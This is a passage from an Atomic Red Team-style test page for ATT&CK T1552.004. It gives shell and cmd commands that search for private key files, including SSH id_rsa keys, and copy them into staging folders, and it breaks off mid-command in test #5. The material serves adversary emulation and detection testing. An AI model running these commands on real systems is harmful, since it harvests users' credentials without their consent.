# T1552.004 - Unsecured Credentials: Private Keys

## Description from ATT&CK

> Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
> 
> Adversaries may also look in common key directories, such as <code>\~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
> 
> When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
> 
> On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)
> 
> Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.

[Source](https://attack.mitre.org/techniques/T1552/004)

## Atomic Tests

- [Atomic Test #1: Private Keys](#atomic-test-1-private-keys)
- [Atomic Test #2: Discover Private SSH Keys](#atomic-test-2-discover-private-ssh-keys)
- [Atomic Test #3: Copy Private SSH Keys with CP](#atomic-test-3-copy-private-ssh-keys-with-cp)
- [Atomic Test #4: Copy Private SSH Keys with CP (freebsd)](#atomic-test-4-copy-private-ssh-keys-with-cp-freebsd)
- [Atomic Test #5: Copy Private SSH Keys with rsync](#atomic-test-5-copy-private-ssh-keys-with-rsync)
- [Atomic Test #6: Copy Private SSH Keys with rsync (freebsd)](#atomic-test-6-copy-private-ssh-keys-with-rsync-freebsd)
- [Atomic Test #7: Copy the users GnuPG directory with rsync](#atomic-test-7-copy-the-users-gnupg-directory-with-rsync)
- [Atomic Test #8: Copy the users GnuPG directory with rsync (freebsd)](#atomic-test-8-copy-the-users-gnupg-directory-with-rsync-freebsd)
- [Atomic Test #9: ADFS token signing and encryption certificates theft - Local](#atomic-test-9-adfs-token-signing-and-encryption-certificates-theft---local)
- [Atomic Test #10: ADFS token signing and encryption certificates theft - Remote](#atomic-test-10-adfs-token-signing-and-encryption-certificates-theft---remote)
- [Atomic Test #11: CertUtil ExportPFX](#atomic-test-11-certutil-exportpfx)
- [Atomic Test #12: Export Root Certificate with Export-PFXCertificate](#atomic-test-12-export-root-certificate-with-export-pfxcertificate)
- [Atomic Test #13: Export Root Certificate with Export-Certificate](#atomic-test-13-export-root-certificate-with-export-certificate)
- [Atomic Test #14: Export Certificates with Mimikatz](#atomic-test-14-export-certificates-with-mimikatz)

### Atomic Test #1: Private Keys

Find private keys on the Windows file system.
File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc

**Supported Platforms:** Windows

**auto_generated_guid:** `520ce462-7ca7-441e-b5a5-f8347f632696`

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
dir c:\ /b /s .key | findstr /e .key
```

### Atomic Test #2: Discover Private SSH Keys

Discover private SSH keys on a FreeBSD, macOS or Linux system.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `46959285-906d-40fa-9437-5a439accd878`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| search_path | Path where to start searching from. | path | /|
| output_file | Output file containing locations of SSH key files | path | /tmp/keyfile_locations.txt|

#### Attack Commands: Run with `sh`!

```sh
find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
exit 0
```

#### Cleanup Commands

```sh
rm #{output_file}
```
### Atomic Test #3: Copy Private SSH Keys with CP

Copy private SSH keys on a Linux system to a staging folder using the `cp` command.

**Supported Platforms:** Linux

**auto_generated_guid:** `7c247dc7-5128-4643-907b-73a76d9135c3`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| search_path | Path where to start searching from. | path | /|
| output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging|

#### Attack Commands: Run with `sh`!

```sh
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
exit 0
```

#### Cleanup Commands

```sh
rm -rf #{output_folder}
```
### Atomic Test #4: Copy Private SSH Keys with CP (freebsd)

Copy private SSH keys on a FreeBSD system to a staging folder using the `cp` command.

**Supported Platforms:** Linux

**auto_generated_guid:** `12e4a260-a7fd-4ed8-bf18-1a28c1395775`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| search_path | Path where to start searching from. | path | /|
| output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging|

#### Attack Commands: Run with `sh`!

```sh
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;
```

#### Cleanup Commands

```sh
rm -rf #{output_folder}
```

#### Dependencies: Run with `sh`!

##### Description: Install GNU cp from coreutils package.

###### Check Prereq Commands

```sh
if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0; fi;
```

###### Get Prereq Commands

```sh
(which pkg && pkg install -y coreutils)
```

### Atomic Test #5: Copy Private SSH Keys with rsync

Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.

**Supported Platforms:** macOS, Linux

**auto_generated_guid:** `864bb0b2-6bb5-489a-b43b-a77b3a16d68a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| search_path | Path where to start searching from. | path | /|
| output_folder | Output folder containing copies of SSH private key files | path | /tmp/art-staging|

#### Attack Commands: Run with `sh`!

```sh
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \